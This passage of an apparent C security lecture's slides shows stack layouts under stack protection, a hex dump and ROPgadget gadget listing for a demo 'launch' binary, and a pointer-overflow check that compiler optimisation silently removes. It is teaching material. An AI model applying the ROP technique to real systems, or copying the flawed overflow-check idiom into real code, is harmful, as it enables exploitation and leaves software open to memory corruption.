8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector Many compliers can create extra code to check for buffer overflow. Here is an example. Notice also that the variables have been rearranged in memory so that it is more difficult to overwrite them through a stack overflow in the response buffer. return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes) "magic number" (4 byte) return address, next intruction in _start pointer to stack frame for _start high address low address return address, next intruction in _main pointer to stack frame for _main allowaccess (1 byte) n_missiles (4 bytes) response (8 bytes)
  • 176. PAE/NX, Stack Protectors,ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit technique called Return-oriented Programming that is able to buypass basically every defence...
  • 177. $ od -An -x ./launch ... 0006 0000 0018 0000 0004 0000 0014 0000 0003 0000 4e47 0055 245b fe3c 81c6 d16a 0cca b71a 27d0 7b1f b5ab 697f 0002 0000 04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000 ... 3d80 a030 0804 7500 5513 e589 ec83 e808 ff7c ffff 05c6 a030 0804 c901 c3f3 9066 10a1 049f 8508 74c0 b81f 0000 0000 c085 1674 8955 83e5 18ec 04c7 1024 049f ff08 c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589 ec83 8b18 0845 4489 0424 04c7 7024 0486 ... e808 fe8a ffff c3c9 8955 83e5 38ec a165 0014 0000 4589 31f4 c7c0 e845 0002 0000 45c6 00e7 04c7 8724 0486 e808 fe60 ffff 458d 89ec 2404 65e8 fffe c7ff 2444 9004 ... 0486 8d08 ec45 0489 e824 fe32 ffff c085 0475 45c6 01e7 7d80 00e7 1774 04c7 9724 0486 e808 fe58 ffff 458b 89e8 2404 7ae8 ... PAE/NX, Stack Protectors,ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit technique called Return-oriented Programming that is able to buypass basically every defence...
  • 178. $ od -An -x ./launch ... 0006 0000 0018 0000 0004 0000 0014 0000 0003 0000 4e47 0055 245b fe3c 81c6 d16a 0cca b71a 27d0 7b1f b5ab 697f 0002 0000 04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000 ... 3d80 a030 0804 7500 5513 e589 ec83 e808 ff7c ffff 05c6 a030 0804 c901 c3f3 9066 10a1 049f 8508 74c0 b81f 0000 0000 c085 1674 8955 83e5 18ec 04c7 1024 049f ff08 c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589 ec83 8b18 0845 4489 0424 04c7 7024 0486 ... e808 fe8a ffff c3c9 8955 83e5 38ec a165 0014 0000 4589 31f4 c7c0 e845 0002 0000 45c6 00e7 04c7 8724 0486 e808 fe60 ffff 458d 89ec 2404 65e8 fffe c7ff 2444 9004 ... 0486 8d08 ec45 0489 e824 fe32 ffff c085 0475 45c6 01e7 7d80 00e7 1774 04c7 9724 0486 e808 fe58 ffff 458b 89e8 2404 7ae8 ... $ python ROPgadget.py --binary ./launch --depth 4 ... 0x080487eb : adc al, 0x41 ; ret 0x08048464 : add al, 8 ; call eax 0x080484a1 : add al, 8 ; call edx 0x08048466 : call eax 0x080484a3 : call edx 0x08048485 : clc ; jne 0x804848c ; ret 0x08048515 : dec ecx ; ret 0x080487ec : inc ecx ; ret 0x0804844d : ja 0x8048452 ; ret 0x08048486 : jne 0x804848b ; ret 0x080484ec : lahf ; add al, 8 ; call eax 0x08048468 : leave ; ret 0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret 0x08048430 : mov ebx, dword ptr [esp] ; ret 0x0804863f : pop ebp ; ret 0x08048379 : pop ebx ; ret 0x0804863e : pop edi ; pop ebp ; ret 0x0804863d : pop esi ; pop edi ; pop ebp ; ret 0x080487ea : push cs ; adc al, 0x41 ; ret 0x0804844c : push es ; ja 0x8048453 ; ret ... PAE/NX, Stack Protectors,ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit technique called Return-oriented Programming that is able to buypass basically every defence...
  • 179. $ od -An -x ./launch ... 0006 0000 0018 0000 0004 0000 0014 0000 0003 0000 4e47 0055 245b fe3c 81c6 d16a 0cca b71a 27d0 7b1f b5ab 697f 0002 0000 04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000 ... 3d80 a030 0804 7500 5513 e589 ec83 e808 ff7c ffff 05c6 a030 0804 c901 c3f3 9066 10a1 049f 8508 74c0 b81f 0000 0000 c085 1674 8955 83e5 18ec 04c7 1024 049f ff08 c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589 ec83 8b18 0845 4489 0424 04c7 7024 0486 ... e808 fe8a ffff c3c9 8955 83e5 38ec a165 0014 0000 4589 31f4 c7c0 e845 0002 0000 45c6 00e7 04c7 8724 0486 e808 fe60 ffff 458d 89ec 2404 65e8 fffe c7ff 2444 9004 ... 0486 8d08 ec45 0489 e824 fe32 ffff c085 0475 45c6 01e7 7d80 00e7 1774 04c7 9724 0486 e808 fe58 ffff 458b 89e8 2404 7ae8 ... $ python ROPgadget.py --binary ./launch --depth 4 ... 0x080487eb : adc al, 0x41 ; ret 0x08048464 : add al, 8 ; call eax 0x080484a1 : add al, 8 ; call edx 0x08048466 : call eax 0x080484a3 : call edx 0x08048485 : clc ; jne 0x804848c ; ret 0x08048515 : dec ecx ; ret 0x080487ec : inc ecx ; ret 0x0804844d : ja 0x8048452 ; ret 0x08048486 : jne 0x804848b ; ret 0x080484ec : lahf ; add al, 8 ; call eax 0x08048468 : leave ; ret 0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret 0x08048430 : mov ebx, dword ptr [esp] ; ret 0x0804863f : pop ebp ; ret 0x08048379 : pop ebx ; ret 0x0804863e : pop edi ; pop ebp ; ret 0x0804863d : pop esi ; pop edi ; pop ebp ; ret 0x080487ea : push cs ; adc al, 0x41 ; ret 0x0804844c : push es ; ja 0x8048453 ; ret ... PAE/NX, Stack Protectors,ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit technique called Return-oriented Programming that is able to buypass basically every defence...
  • 180. further explanations in http://pdos.csail.mit.edu/papers/stack:sosp13.pdf Where is my code? pointer overflow example
  • 181. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... }
  • 182. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Here is a function that takes a pointer, and offset, a pointer to the end of the buffer (one past the last element), and a value to be poked into memory.
  • 183. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } This is an out-of-bounds guard
  • 184. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } This is an often seen "idiom" to check for very large pointer offsets.
  • 185. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } and here it should be safe to do something with the pointer and offset
  • 186. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } and here it should be safe to do something with the pointer and offset so let's try it with some big values
  • 187. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... }
  • 188. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 189. $ cc -m32 -O0 poke.c poke_main.c && ./a.out void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 190. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 191. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 192. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 193. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 194. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 195. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 196. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 197. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 198. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 199. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization
  • 200. $ cc -m32 -O0 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap ptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile without optimization And this is the "expected" behavior
  • 201. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... }
  • 202. void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 203. $ cc -m32 -O2 poke.c poke_main.c && ./a.out void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 204. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 205. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 206. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 207. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 208. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 209. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 210. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 211. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 212. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 213. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Compile with optimization
  • 214. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } WOW? What happened? Compile with optimization
